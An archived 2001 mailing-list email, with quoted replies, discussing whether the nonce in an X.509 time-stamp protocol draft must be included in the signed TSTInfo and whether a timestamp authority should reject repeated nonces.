Received: from pdcpune.elock.co.in (pdcpune.elock.co.in [196.1.104.8]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA18868 for <[e-mail]>; Thu, 1 Feb 2001 02:12:08 -0800 (PST)
Received: from insight (insight.fcpl.co.in [196.1.104.150]) by pdcpune.elock.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id DJ333WNB; Thu, 1 Feb 2001 15:44:57 +0530
Message-ID: <001601c08c3a$45361d20$966801c4@insight>
From: "Prashant Dambe" <[e-mail]>
To: "Jean-Marc Desperrier" <[e-mail]>, <[e-mail]>
References: <005701c0868c$b9f330c0$966801c4@insight> <[e-mail]> <006e01c086b4$2bb129c0$966801c4@insight> <[e-mail]>
Subject: Re: Query about nonce field in Time-stamp response.
Date: Thu, 1 Feb 2001 16:02:26 +0530
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Is it required to have responder's signature over the Nonce as nonce will
never be used in the future time.
If it is so then nonce can be included like PKIStatusInfo which will be not
included in Timestamptoken.
If nonce has to be signed then why PKIStatusInfo is not included in
Signed-Data.

----- Original Message -----
From: Jean-Marc Desperrier <[e-mail]>
To: <[e-mail]>
Sent: Thursday, January 25, 2001 4:44 PM
Subject: Re: Query about nonce field in Time-stamp response.


> Prashant Dambe wrote:
>
> > Is it  required that Nonce should be included in  TSTInfo i.e the part
of
> > TimeStampToken ?
>
> Draft version 13 says :
> TSTInfo ::= SEQUENCE  {
>   ....
>      nonce                        INTEGER                  OPTIONAL,
>        -- MUST be present if the similar field was present
>        -- in TimeStampReq. In that case it MUST have the same value.
>
> So it's required, yes.
>
> > Nonce can be a part of Time-stamp response like PKIStatusInfo which will
be
> > not included in Timestamptoken.
>
> No such possibility is provided in the current form of the TimeStampResp.
> Anyway, the nonce would have to be signed by the responder, so what you
suggest
> requires a second signature, so that the nonce can be removed without
breaking
> the TSTInfo signature.
>
> If you don't want the nonce payload, the draft suggests to use both a
local
> clock and a moving time window during which the requester remembers all
the
> hashes sent during that time window.
>
> Bernd Matthes <[e-mail]> wrote:
> > I think it's a little auxiliary means against double timestamps.
> > A TSA should reject a time stamp query if the same
> > messageImprint *and* the same nonce found in it's database.
> > It's possible to get multiple timestamps ("re-new") for the
> > same document,message or whatever,
> > but *never* with already issued nonce value.
>
> My understanding until now is that's it's only up to the client to check
the
> nonce, and not to the server.
>
> So howewer interesting your idea is, the standard does not forbid a client
to
> do what you describe, for whatever reason, and the systematic rejection
could
> cause interoperability problems.
>
> If you did it, your clients would have to check their tools will never do
that,
> especially when resending the same request because the answer wasn't
received.
>
> Here's what Denis said recently which is quite related to this question :
>
> >> And additional badSenderNonce(18)?
> >This has not been added. I do not want to raise at this time questions
like:
> >what is a bad nonce ? or how does a server know it is a bad nonce ?